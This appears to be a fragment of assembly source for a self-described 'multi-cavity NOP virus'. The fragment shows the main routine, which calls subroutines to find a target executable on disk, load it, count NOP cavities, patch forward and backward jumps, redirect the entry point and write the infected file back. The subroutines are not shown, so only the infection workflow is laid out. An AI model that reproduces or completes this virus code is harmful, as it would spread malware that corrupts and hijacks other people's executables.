RECON06 . A PLATFORM INDEPENDENT MULTI-CAVITY NOP VIRUS

# "main" # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 


 call find_target
 pushl %eax		# A pointer to the pathname
			# of an executable on disk

 call load_victim

 call count_nops
 call copy_sizes	# Copy the list of sizes
			# of instructions from the old
			# executable to the new
 call fix_fwd_jmps
 call fix_backwd_jmps   # we also set the original entry
			# point push in fix_backwd_jmps
                        # becaut it's convenient
 call unload_victim	# write the data back to a file or
			# maybe even ptrace()


# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #